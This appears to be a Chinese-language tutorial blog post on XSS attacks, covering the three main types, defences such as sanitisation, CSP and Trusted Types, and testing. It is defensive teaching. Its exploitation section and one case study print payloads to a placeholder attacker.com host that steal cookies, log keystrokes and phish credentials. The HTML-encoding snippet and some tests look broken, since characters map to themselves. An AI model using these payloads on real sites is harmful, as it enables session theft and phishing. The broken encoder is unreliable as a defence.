您现在的位置是:网站首页 > XSS 攻击的基本原理文章详情
XSS 攻击的基本原理
陈川
【
前端安全
】
8526人已围观
6480字
XSS攻击的定义与分类
XSS(Cross-Site Scripting)是一种将恶意脚本注入到可信网站中的攻击方式。攻击者通过在网页中插入恶意代码,当其他用户访问该页面时,这些代码会在用户浏览器中执行。根据攻击方式的不同,XSS主要分为三类:
- 反射型XSS:恶意脚本作为请求的一部分发送到服务器,然后服务器将脚本"反射"回响应中
- 存储型XSS:恶意脚本被永久存储在目标服务器上(如数据库)
- DOM型XSS:漏洞存在于客户端代码中,不涉及服务器响应
反射型XSS的工作原理
反射型XSS是最常见的类型,通常通过URL参数传递恶意脚本。攻击者构造一个包含恶意代码的特殊链接,诱骗用户点击。
// 假设网站有一个搜索功能,将搜索词显示在结果页面上
// 不安全的实现方式:
const searchTerm = new URL(location.href).searchParams.get('q');
document.getElementById('results').innerHTML = `您搜索的是: ${searchTerm}`;
// 攻击者可以构造这样的URL:
// https://example.com/search?q=<script>alert('XSS')</script>
当用户访问这个URL时,恶意脚本就会在用户浏览器中执行。这种攻击需要诱使用户点击恶意链接,通常通过钓鱼邮件或社交工程手段传播。
存储型XSS的持久性威胁
存储型XSS比反射型更危险,因为恶意代码被保存在服务器上,所有访问受影响页面的用户都会中招。常见于用户可提交内容的场景,如论坛评论、用户资料等。
// 不安全的评论系统实现
app.post('/comment', (req, res) => {
const { content } = req.body;
// 直接将用户输入存入数据库
db.saveComment(content);
res.redirect('/post');
});
// 前端渲染评论时不转义
app.get('/post', (req, res) => {
const comments = db.getComments();
res.send(`
<div class="comments">
${comments.map(c => `<div>${c.content}</div>`).join('')}
</div>
`);
});
// 攻击者提交这样的评论:
// <script>stealCookies()</script>
DOM型XSS的客户端漏洞
DOM型XSS完全在客户端发生,不涉及服务器响应。当JavaScript不当地使用用户可控的数据修改DOM时,就可能产生这种漏洞。
// 不安全的DOM操作
const hash = location.hash.substring(1);
document.getElementById('panel').innerHTML = hash;
// 攻击者可以构造这样的URL:
// https://example.com/#<img src=x onerror=alert(1)>
这种XSS更难检测,因为服务器日志中看不到恶意代码,所有操作都在客户端完成。
XSS攻击的常见利用方式
攻击者利用XSS可以实现多种恶意操作:
- 窃取Cookie:获取用户的会话标识
// 窃取Cookie的典型代码
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
- 键盘记录:监听用户的键盘输入
// 键盘记录示例
document.addEventListener('keypress', (e) => {
fetch('https://attacker.com/log', {
method: 'POST',
body: `key=${e.key}`
});
});
- 钓鱼攻击:伪造登录表单
// 伪造登录表单
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
<form style="margin:100px auto;width:300px" action="https://attacker.com/phish">
<h2>您的会话已过期</h2>
<input type="text" placeholder="用户名">
<input type="password" placeholder="密码">
<button>重新登录</button>
</form>
</div>
`;
防御XSS攻击的关键措施
输入验证与过滤
对所有用户输入进行严格的验证和过滤:
// 使用DOMPurify库净化HTML
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;
输出编码
根据输出上下文使用不同的编码方式:
// HTML实体编码
function encodeHTML(str) {
return str.replace(/[&<>'"]/g,
tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
}[tag]));
}
// 在HTML属性中使用
const userData = encodeHTML(attackerControlled);
element.setAttribute('data-value', userData);
使用CSP策略
内容安全策略(CSP)可以限制脚本执行:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
安全的DOM操作
避免使用不安全的DOM操作方法:
// 安全的方式 - 使用textContent而不是innerHTML
document.getElementById('output').textContent = userInput;
// 使用安全的API创建元素
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);
现代前端框架的XSS防护
现代框架如React、Vue和Angular都内置了XSS防护机制:
// React自动转义内容
function Component({ userInput }) {
return <div>{userInput}</div>; // 自动转义
}
// 只有明确使用dangerouslySetInnerHTML才会渲染HTML
function UnsafeComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// Vue的模板语法也自动转义
new Vue({
template: `<div>{{ userInput }}</div>` // 自动转义
});
// 使用v-html指令才会渲染原始HTML
new Vue({
template: `<div v-html="userHtml"></div>`
});
XSS攻击的进阶变种
基于SVG的XSS
SVG文件可以包含JavaScript代码:
<!-- 恶意SVG文件示例 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
防御方法:上传SVG时应移除所有脚本相关属性,或转换为其他格式。
基于CSS的XSS
某些CSS特性可以执行JavaScript:
/* 通过CSS expression执行代码(仅旧版IE) */
body {
color: expression(alert('XSS'));
}
/* 现代浏览器中的CSS注入 */
div[style*="background-image: url(javascript:alert(1))"] {
width: 100px;
}
防御方法:过滤用户控制的CSS内容,使用CSP限制内联样式。
基于Markdown的XSS
Markdown可以包含HTML,导致XSS风险:
[正常链接](https://example.com)
[恶意链接](javascript:alert('XSS'))

)
防御方法:使用严格的Markdown解析器,禁用原始HTML或进行净化处理。
实际案例分析
案例1:社交媒体资料XSS
某社交平台允许用户在个人资料中使用HTML,但未正确过滤:
// 攻击者在"工作经历"字段注入
const payload = `
<style>
@keyframes xss {
from { background-image: url('https://attacker.com/start'); }
to { background-image: url('https://attacker.com/end'); }
}
</style>
<div style="animation: xss 1s infinite;"></div>
`;
这种攻击可以绕过简单的脚本过滤,通过CSS动画持续向攻击者服务器发送请求。
案例2:电子商务网站价格注入
某电商网站的产品页面从URL参数获取折扣信息:
const discount = new URLSearchParams(location.search).get('discount');
document.write(`<span class="discount">${discount}% OFF!</span>`);
攻击者构造URL:?discount=<script>stealPaymentInfo()</script>
,当客服人员查看此链接时,恶意代码就会执行。
自动化测试与漏洞扫描
使用工具检测XSS漏洞
- OWASP ZAP:自动化安全测试工具
- Burp Suite:拦截代理和漏洞扫描器
- XSS Hunter:检测盲XSS漏洞的服务
编写自动化测试用例
// 使用Jest测试XSS防护
describe('XSS Protection', () => {
test('should escape HTML in user input', () => {
const malicious = '<script>alert(1)</script>';
const safe = escapeHTML(malicious);
expect(safe).not.toContain('<script>');
expect(safe).toContain('<script>');
});
test('should sanitize SVG uploads', () => {
const svg = '<svg onload="alert(1)"></svg>';
const clean = sanitizeSVG(svg);
expect(clean).not.toContain('onload');
});
});
浏览器安全机制与XSS
HttpOnly Cookie标志
Set-Cookie: sessionId=abc123; HttpOnly; Secure
设置HttpOnly
后,JavaScript无法通过document.cookie
读取该Cookie,防止被XSS窃取。
SameSite Cookie属性
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
SameSite
属性可以阻止跨站请求伪造(CSRF)攻击,间接减少XSS的影响范围。
Trusted Types API
// 启用Trusted Types策略
Content-Security-Policy: require-trusted-types-for 'script';
// 创建可信类型策略
if (window.trustedTypes && trustedTypes.createPolicy) {
const escapePolicy = trustedTypes.createPolicy('escapePolicy', {
createHTML: input => input.replace(/</g, '<')
});
}
// 使用策略
element.innerHTML = escapePolicy.createHTML(userInput);
Trusted Types强制开发者在赋值给危险sink前显式处理内容,从根本上防止XSS。
上一篇: 相关法律法规与合规要求
下一篇: 反射型 XSS(非持久型)